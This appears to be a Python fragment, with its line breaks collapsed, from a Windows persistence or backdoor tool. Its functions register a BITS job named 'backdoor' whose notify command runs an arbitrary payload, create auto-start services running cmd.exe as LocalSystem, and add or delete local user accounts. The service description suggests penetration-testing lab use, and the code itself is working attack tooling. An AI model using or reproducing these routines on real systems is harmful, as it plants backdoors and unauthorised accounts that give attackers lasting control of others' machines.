def stop_service(service): command = 'sc stop {}'.format(service) r = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) rr = content_decode(r.stdout) logger.debug(rr)
def clear_bitsadmin_cmd(): command = r'bitsadmin /cancel backdoor' r = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) rr = content_decode(r.stdout) logger.info(rr)
def delete_service(service): command = 'sc delete {}'.format(service) r = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) rr = content_decode(r.stdout) logger.debug(rr) clear_user()
def add_bitsadmin_regsvr32(cmd): command = r'bitsadmin /create backdoor && bitsadmin /addfile backdoor C:\Windows\System32\calc.exe %temp%\calc.exe && bitsadmin /SetNotifyCmdLine backdoor {} && bitsadmin /resume backdoor'.format( cmd) r = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) rr = content_decode(r.stdout) logger.info(rr)
def add_service_powershell(cmd, service): command = 'powershell.exe New-Service -Name "{}" -BinaryPathName "{}" -Description "PentestLaboratories" -StartupType Automatic'.format( service, cmd) r = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) rr = content_decode(r.stdout) if 'PermissionDenied' in rr: logger.error('需要管理员权限!') return elif 'DisplayName' in rr: set_user('sc start ' + service) logger.info('创建服务成功')
def add_service_cmd(cmd, service): command = 'sc create {} binpath= "cmd.exe /k {}" start= "auto" obj= "LocalSystem"'.format( service, cmd) r = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) rr = content_decode(r.stdout) if '5' in rr: logger.error('需要管理员权限!') return elif 'CreateService' in rr: set_user('sc start ' + service) logger.info('创建服务成功')
def delete_accout(username): command = 'net user {} /delete'.format(username) r = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) rr = content_decode(r.stdout) logger.debug(rr)
def create_accout(username,password): command = 'net user {} {} /add'.format(username,password) r = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) rr = content_decode(r.stdout) logger.debug(rr)